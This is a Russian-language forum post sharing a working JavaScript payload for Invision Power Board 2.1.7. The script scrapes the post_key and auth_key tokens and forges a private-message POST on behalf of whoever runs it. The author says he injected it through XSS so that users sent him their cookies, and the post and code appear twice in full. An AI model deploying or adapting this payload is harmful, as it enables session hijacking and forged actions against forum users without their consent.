_Nikolas_
11.04.2007, 23:25
Вот писал когда-то, решил выложить.
Скрипт отправляет персональное сообщение любому пользователю в форуме ipb 2.1.7 (тестировалось только на этой версии, возможно будет работать и на других).
В свое время запихнул его в xss и юзеры сами слали мне куки :p
Конечно практическое применение не велико, ибо запихнуть такой здоровый скрипт редко удается. Зато не происходит обращение к левым хостам.
Суть работы простая: сначала посылает GET-запрос на страничку отправки персоналки, и выпарсивает оттуда post_key и auth_key, а затем генерит multipart/form-data POST-запрос с телом сообщения и шлет его.
В общем может будет кому полезен. :)
//эти переменные править
var forum = "http://www.forum.ru";
var msg_user = "admin";
var msg_title = "TEST";
var msg_post = "TEST POST";
var boundary = "---------------------------1065103348625032172387451659";
var http_request = false;
function createHttpRequest() {
http_request = false;
if (window.XMLHttpRequest) { // Мозилла, опера и т.д.
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
// Выставляем тип странички
http_request.overrideMimeType('text/xml');
}
} else if (window.ActiveXObject) { // Интернет эксплорер
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
return http_request;
}
function makeGETRequest(url, param) {
http_request = createHttpRequest();
if (!http_request) {
//alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents; //Тут написать функцию которая вызовется после получения странички
http_request.open('GET', url + param, true);
http_request.send(null);
}
function makePOSTRequest(url, param) {
http_request = http_request = createHttpRequest();
if (!http_request) {
//alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertPost; //Тут написать функцию которая вызовется после получения странички
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=" + boundary);
http_request.setRequestHeader("Content-length", param.length);
http_request.send(param);
}
function alertContents() {
if (http_request.readyState == 4) { // Говорит о том что все загружено
if (http_request.status == 200) { // Статут загрузки страницы, если 200 то все нормально
//alert("ok");
var xml = http_request.responseText;
var re_post = new RegExp( "name=\"post_key\" value=\"([a-z0-9]+)\"" );
var re_auth = new RegExp( "name=\"auth_key\" value=\"([a-z0-9]+)\"" );
var post_key = re_post.exec( xml )[1];
var auth_key = re_auth.exec( xml )[1];
var param = '--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="removeattachid"\r\n\r\n0\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="OID"\r\n\r\n\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="act"\r\n\r\nMsg\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="CODE"\r\n\r\n04\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="MODE"\r\n\r\n01\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="post_key"\r\n\r\n' + post_key + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="auth_key"\r\n\r\n' + auth_key + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n15360000\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="entered_name"\r\n\r\n' + msg_user + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="from_contact"\r\n\r\n-\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="msg_title"\r\n\r\n' + msg_title + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="ffont"\r\n\r\n0\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="fsize"\r\n\r\n0\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="Post"\r\n\r\n' + msg_post + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="FILE_UPLOAD"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n' +
'--' + boundary + '--\r\n';
makePOSTRequest( forum + "/index.php?act=msg", param );
} else {
//alert('There was a problem with the request.');
//alert(http_request.status);
}
}
}
function alertPost() {
//здесь можем обработать результат отсылки, если захотим
}
//вызываем эту функцию для отправки сообщения
function main() {
makeGETRequest( forum + "/index.php?", "act=Msg&CODE=04" );
}
Скрипт отправляет персональное сообщение любому пользователю в форуме ipb 2.1.7 (тестировалось только на этой версии, возможно будет работать и на других).
В свое время запихнул его в xss и юзеры сами слали мне куки :p
Конечно практическое применение не велико, ибо запихнуть такой здоровый скрипт редко удается. Зато не происходит обращение к левым хостам.
Суть работы простая: сначала посылает GET-запрос на страничку отправки персоналки, и выпарсивает оттуда post_key и auth_key, а затем генерит multipart/form-data POST-запрос с телом сообщения и шлет его.
В общем может будет кому полезен. :)
//эти переменные править
var forum = "http://www.forum.ru";
var msg_user = "admin";
var msg_title = "TEST";
var msg_post = "TEST POST";
var boundary = "---------------------------1065103348625032172387451659";
var http_request = false;
function createHttpRequest() {
http_request = false;
if (window.XMLHttpRequest) { // Мозилла, опера и т.д.
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType) {
// Выставляем тип странички
http_request.overrideMimeType('text/xml');
}
} else if (window.ActiveXObject) { // Интернет эксплорер
try {
http_request = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
http_request = new ActiveXObject("Microsoft.XMLHTTP");
} catch (e) {}
}
}
return http_request;
}
function makeGETRequest(url, param) {
http_request = createHttpRequest();
if (!http_request) {
//alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertContents; //Тут написать функцию которая вызовется после получения странички
http_request.open('GET', url + param, true);
http_request.send(null);
}
function makePOSTRequest(url, param) {
http_request = http_request = createHttpRequest();
if (!http_request) {
//alert('Cannot create XMLHTTP instance');
return false;
}
http_request.onreadystatechange = alertPost; //Тут написать функцию которая вызовется после получения странички
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=" + boundary);
http_request.setRequestHeader("Content-length", param.length);
http_request.send(param);
}
function alertContents() {
if (http_request.readyState == 4) { // Говорит о том что все загружено
if (http_request.status == 200) { // Статут загрузки страницы, если 200 то все нормально
//alert("ok");
var xml = http_request.responseText;
var re_post = new RegExp( "name=\"post_key\" value=\"([a-z0-9]+)\"" );
var re_auth = new RegExp( "name=\"auth_key\" value=\"([a-z0-9]+)\"" );
var post_key = re_post.exec( xml )[1];
var auth_key = re_auth.exec( xml )[1];
var param = '--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="removeattachid"\r\n\r\n0\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="OID"\r\n\r\n\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="act"\r\n\r\nMsg\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="CODE"\r\n\r\n04\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="MODE"\r\n\r\n01\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="post_key"\r\n\r\n' + post_key + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="auth_key"\r\n\r\n' + auth_key + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n15360000\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="entered_name"\r\n\r\n' + msg_user + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="from_contact"\r\n\r\n-\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="msg_title"\r\n\r\n' + msg_title + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="ffont"\r\n\r\n0\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="fsize"\r\n\r\n0\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="Post"\r\n\r\n' + msg_post + '\r\n' +
'--' + boundary + '\r\n' +
'Content-Disposition: form-data; name="FILE_UPLOAD"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n' +
'--' + boundary + '--\r\n';
makePOSTRequest( forum + "/index.php?act=msg", param );
} else {
//alert('There was a problem with the request.');
//alert(http_request.status);
}
}
}
function alertPost() {
//здесь можем обработать результат отсылки, если захотим
}
//вызываем эту функцию для отправки сообщения
function main() {
makeGETRequest( forum + "/index.php?", "act=Msg&CODE=04" );
}